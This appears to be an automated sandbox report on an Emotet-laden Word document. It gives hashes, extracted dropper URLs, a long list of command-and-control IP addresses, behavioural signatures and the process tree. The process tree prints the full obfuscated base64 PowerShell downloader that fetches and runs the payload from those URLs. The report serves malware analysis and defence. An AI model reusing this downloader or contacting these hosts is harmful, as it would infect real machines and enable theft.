Analysis
- max time kernel
140s - max time network
151s - platform
windows10_x64 - resource
win10v200722 - submitted
15/09/2020, 05:31
Static task
static1
Behavioral task
behavioral1
Sample
W_RS5947693334AJ.doc
Resource
win7
General
- Target W_RS5947693334AJ.doc
- Size 152KB
- Sample200915-espylddtt6
- SHA256 444edfc514c9e7ddf7d47152ab219ed246f5fa2feacad2d9f98932df0901b406
- MD5 92c7b203081f5543ec2349482f66198b
- SHA1 dc8baec2519472137b9afbab27b2cf22e2fb5cb3
- SHA512 645e5ef561f40304c0d664ba8d1e991db064c17d1e4144a8cab1d0a7dc5a444565266a884c93147bca689c7c342bc3bb743cbcdf030944c720fc710ea2e82794
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
-
exe.dropper
http://www.gozowindmill.com/meteo/97/
-
exe.dropper
http://www.greaudstudio.com/docs/Z/
-
exe.dropper
https://b176f.cn/wp-admin/1/
-
exe.dropper
https://blog.socialpill.in/jdzetd/fZuInax/
-
exe.dropper
http://maisshake.com.br/wp-includes/dPmzV1/
-
exe.dropper
http://mesdelicesitaliens.fr/wp-admin/tSlCBpP/
-
exe.dropper
http://grndl.com/oinj/j4/
Extracted
-
emotet
-
104.32.141.43:80
-
104.156.59.7:8080
-
120.138.30.150:8080
-
139.59.67.118:443
-
61.92.17.12:80
-
103.86.49.11:8080
-
174.45.13.118:80
-
75.139.38.211:80
-
104.131.11.150:443
-
121.124.124.40:7080
-
200.114.213.233:8080
-
185.94.252.104:443
-
181.169.34.190:80
-
187.161.206.24:80
-
93.147.212.206:80
-
176.111.60.55:8080
-
83.169.36.251:8080
-
174.102.48.180:443
-
24.179.13.119:80
-
120.150.60.189:80
-
107.5.122.110:80
-
37.187.72.193:8080
-
50.91.114.38:80
-
168.235.67.138:7080
-
84.39.182.7:80
-
219.74.18.66:443
-
91.211.88.52:7080
-
5.196.74.210:8080
-
24.137.76.62:80
-
87.106.136.232:8080
-
5.39.91.110:7080
-
104.131.44.150:8080
-
201.173.217.124:443
-
62.75.141.82:80
-
153.177.101.120:443
-
153.232.188.106:80
-
139.99.158.11:443
-
85.66.181.138:80
-
209.141.54.221:8080
-
85.152.162.105:80
-
82.225.49.121:80
-
162.241.242.173:8080
-
169.239.182.217:8080
-
1.221.254.82:80
-
50.35.17.13:80
-
78.24.219.147:8080
-
89.216.122.92:80
-
82.80.155.43:80
-
87.106.139.101:8080
-
85.214.28.226:8080
-
194.187.133.160:443
-
74.120.55.163:80
-
157.245.99.39:8080
-
74.208.45.104:8080
-
79.137.83.50:443
-
139.59.60.244:8080
-
95.179.229.244:8080
-
203.153.216.189:7080
-
203.117.253.142:80
-
172.91.208.86:80
-
46.105.131.79:8080
-
110.145.77.103:80
-
188.219.31.12:80
-
68.188.112.97:80
-
109.74.5.95:8080
-
62.30.7.67:443
-
137.59.187.107:8080
-
156.155.166.221:80
-
104.236.246.93:8080
-
94.23.216.33:80
-
94.23.237.171:443
-
95.213.236.64:8080
-
79.98.24.39:8080
-
97.82.79.83:80
-
47.144.21.12:443
-
37.139.21.175:8080
-
139.162.108.71:8080
-
12.30.50.130:80
-
94.200.114.161:80
-
78.187.156.31:80
-
61.19.246.238:443
-
85.105.205.77:8080
-
139.130.242.43:80
-
213.196.135.145:80
-
137.119.36.33:80
-
24.43.99.75:80
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3520 3928 powershell.exe 72 - Blacklisted process makes network request 5 IoCs
flow pid Process 22 3520 powershell.exe 24 3520 powershell.exe 26 3520 powershell.exe 32 3520 powershell.exe 34 3520 powershell.exe - Executes dropped EXE 2 IoCs
pid Process 1472 Ujkfmkgc.exe 2096 winmm.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\dlnashext\winmm.exe Ujkfmkgc.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3956 WINWORD.EXE 3956 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 3520 powershell.exe 3520 powershell.exe 3520 powershell.exe 2096 winmm.exe 2096 winmm.exe 2096 winmm.exe 2096 winmm.exe 2096 winmm.exe 2096 winmm.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3520 powershell.exe - Suspicious use of SetWindowsHookEx 13 IoCs
pid Process 3956 WINWORD.EXE 3956 WINWORD.EXE 3956 WINWORD.EXE 3956 WINWORD.EXE 3956 WINWORD.EXE 3956 WINWORD.EXE 3956 WINWORD.EXE 3956 WINWORD.EXE 3956 WINWORD.EXE 1472 Ujkfmkgc.exe 1472 Ujkfmkgc.exe 2096 winmm.exe 2096 winmm.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 3520 wrote to memory of 1472 3520 powershell.exe 78 PID 3520 wrote to memory of 1472 3520 powershell.exe 78 PID 3520 wrote to memory of 1472 3520 powershell.exe 78 PID 1472 wrote to memory of 2096 1472 Ujkfmkgc.exe 80 PID 1472 wrote to memory of 2096 1472 Ujkfmkgc.exe 80 PID 1472 wrote to memory of 2096 1472 Ujkfmkgc.exe 80
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\W_RS5947693334AJ.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3956
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e JABSADMAbABmAF8AZgAyAD0AKAAoACcASgA5ADEAeAB5ACcAKwAnAGwAJwApACsAJwA0ACcAKQA7ACYAKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAEUAbgBWADoAdQBzAEUAcgBwAHIATwBGAEkAbABlAFwARgAwAEIAdwBlADUANABcAGQARwB3AGwAcgBZADQAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAHIAZQBDAHQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBjAFUAcgBpAGAAVAB5AHAAcgBgAE8AYABUAE8AYABjAG8AbAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzADEAJwApACsAKAAnADIALAAgAHQAbAAnACsAJwBzACcAKwAnADEAMQAnACkAKwAnACwAJwArACgAJwAgAHQAJwArACcAbAAnACkAKwAnAHMAJwApADsAJABBADYANgBqADYAdgB1ACAAPQAgACgAJwBVAGoAJwArACcAawBmACcAKwAoACcAbQBrACcAKwAnAGcAYwAnACkAKQA7ACQAVABxAGQAeQA5ADkAbQA9ACgAKAAnAFoAdwAnACsAJwBjAGsAcAAnACkAKwAnADUAJwArACcAYgAnACkAOwAkAFcAbgBpAHUAawBrAGoAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwA0ACcAKwAnAHgAUAAnACkAKwAoACcARgAwACcAKwAnAGIAdwAnACkAKwAoACcAZQAnACsAJwA1ADQAJwArACcANAB4AFAARABnAHcAJwApACsAKAAnAGwAcgB5ADQAJwArACcANAAnACkAKwAnAHgAUAAnACkALgAiAHIARQBwAEwAQQBgAEMARQAiACgAKABbAGMAaABhAFIAXQA1ADIAKwBbAGMAaABhAFIAXQAxADIAMAArAFsAYwBoAGEAUgBdADgAMAApACwAJwBcACcAKQApACsAJABBADYANgBqADYAdgB1ACsAKAAnAC4AJwArACgAJwBlAHgAJwArACcAZQAnACkAKQA7ACQAQwBqAGgAZQBnADQANQA9ACgAJwBaAHQAJwArACcAaAAnACsAKAAnAG4AeQAnACsAJwB0AG8AJwApACkAOwAkAEcAdQBjAGgAcwBoADEAPQAuACgAJwBuAGUAdwAtAG8AYgBqACcAKwAnAGUAJwArACcAYwB0ACcAKQAgAE4ARQB0AC4AdwBFAGIAQwBMAGkARQBuAHQAOwAkAEYAdwBsADEAcwBzAHYAPQAoACcAaAAnACsAKAAnAHQAdABwADoALwAvAHcAJwArACcAdwB3AC4AJwArACcAZwBvAHoAbwAnACsAJwB3ACcAKQArACgAJwBpACcAKwAnAG4AZABtACcAKwAnAGkAbAAnACkAKwAoACcAbAAnACsAJwAuAGMAbwAnACkAKwAoACcAbQAnACsAJwAvAG0AZQB0AGUAbwAvACcAKwAnADkANwAnACkAKwAoACcALwAnACsAJwAqAGgAdAAnACsAJwB0AHAAOgAvACcAKwAnAC8AdwB3AHcAJwApACsAJwAuAGcAJwArACgAJwByAGUAJwArACcAYQAnACkAKwAnAHUAJwArACgAJwBkAHMAdAB1AGQAJwArACcAaQBvAC4AJwApACsAKAAnAGMAJwArACcAbwBtAC8AZAAnACkAKwAoACcAbwAnACsAJwBjAHMALwBaACcAKwAnAC8AKgBoAHQAdABwAHMAJwApACsAJwA6ACcAKwAoACcALwAvAGIAJwArACcAMQA3ACcAKwAnADYAZgAuACcAKwAnAGMAJwApACsAJwBuACcAKwAoACcALwB3AHAAJwArACcALQAnACkAKwAoACcAYQAnACsAJwBkAG0AaQBuACcAKQArACgAJwAvADEALwAqAGgAJwArACcAdAB0AHAAJwArACcAcwA6AC8AJwApACsAJwAvAGIAJwArACgAJwBsAG8AJwArACcAZwAnACkAKwAoACcALgAnACsAJwBzAG8AJwApACsAJwBjAGkAJwArACgAJwBhAGwAJwArACcAcABpACcAKQArACgAJwBsAGwALgBpAG4ALwBqAGQAJwArACcAegAnACsAJwBlAHQAJwArACcAZAAvACcAKQArACcAZgBaACcAKwAnAHUAJwArACgAJwBJAG4AYQB4ACcAKwAnAC8AJwApACsAJwAqAGgAJwArACcAdAAnACsAKAAnAHQAcAAnACsAJwA6ACcAKQArACcALwAvACcAKwAoACcAbQBhACcAKwAnAGkAcwAnACkAKwAnAHMAJwArACcAaAAnACsAKAAnAGEAJwArACcAawBlACcAKQArACcALgAnACsAJwBjAG8AJwArACgAJwBtAC4AJwArACcAYgAnACsAJwByAC8AJwArACcAdwBwAC0AaQBuAGMAbAB1AGQAJwApACsAJwBlACcAKwAoACcAcwAvAGQAUAAnACsAJwBtACcAKQArACcAegBWACcAKwAnADEALwAnACsAJwAqACcAKwAnAGgAdAAnACsAJwB0AHAAJwArACgAJwA6AC8ALwBtACcAKwAnAGUAJwArACcAcwBkACcAKQArACcAZQBsACcAKwAoACcAaQAnACsAJwBjAGUAJwApACsAKAAnAHMAaQB0AGEAJwArACcAbAAnACkAKwAoACcAaQBlAG4AJwArACcAcwAnACkAKwAoACcALgBmAHIAJwArACcALwB3ACcAKQArACcAcAAnACsAKAAnAC0AYQAnACsAJwBkACcAKQArACgAJwBtACcAKwAnAGkAbgAnACkAKwAnAC8AdAAnACsAKAAnAFMAbAAnACsAJwBDAEIAcABQAC8AJwApACsAKAAnACoAJwArACcAaAB0AHQAcAA6AC8ALwAnACkAKwAoACcAZwByACcAKwAnAG4AZABsAC4AYwBvACcAKwAnAG0ALwBvACcAKQArACgAJwBpACcAKwAnAG4AagAvAGoAJwArACcANAAvACcAKQApAC4AIgBTAGAAcABMAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEcAdgBpADEAeABrAHAAPQAoACcASgAnACsAJwB2AHoAJwArACgAJwAxADEAbgAnACsAJwBuACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQARgBtAGQAcwBlAG8ANwAgAGkAbgAgACQARgB3AGwAMQBzAHMAdgApAHsAdAByAHkAewAkAEcAdQBjAGgAcwBoADEALgAiAEQATwB3AG4AbABgAE8AYQBEAEYAYABJAGwAZQAiACgAJABGAG0AZABzAGUAbwA3ACwAIAAkAFcAbgBpAHUAawBrAGoAKQA7ACQARwA5AGkAYgAwADkAbwA9ACgAKAAnAFEAJwArACcAMQB6ACcAKQArACgAJwBwACcAKwAnADEAXwBwACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0ACcAKwAnAC0ASQB0AGUAbQAnACkAIAAkAFcAbgBpAHUAawBrAGoAKQAuACIATABlAGAATgBHAGAAVABoACIAIAAtAGcAZQAgADIAOAA5ADEANQApACAAewAmACgAJwBJAG4AdgBvACcAKwAnAGsAJwArACcAZQAtAEkAdABlAG0AJwApACgAJABXAG4AaQB1AGsAawBqACkAOwAkAEwAYQA2AHcAbAB2ADYAPQAoACgAJwBGADMAJwArACcAdwBkAGQAJwApACsAJwB5AHcAJwApADsAYgByAGUAYQBrADsAJABUAGUAMQBrAG0AeABtAD0AKAAoACcARwBkADkAdgAnACsAJwBhACcAKQArACcAawAnACsAJwBvACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARwBzAGsAbQBzADUAOQA9ACgAKAAnAEsAaAAzACcAKwAnAGcAJwApACsAJwA0ADgAJwArACcAdAAnACkA1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3520 -
C:\Users\Admin\F0bwe54\Dgwlry4\Ujkfmkgc.exe"C:\Users\Admin\F0bwe54\Dgwlry4\Ujkfmkgc.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1472 -
C:\Windows\SysWOW64\dlnashext\winmm.exe"C:\Windows\SysWOW64\dlnashext\winmm.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:2096
-
-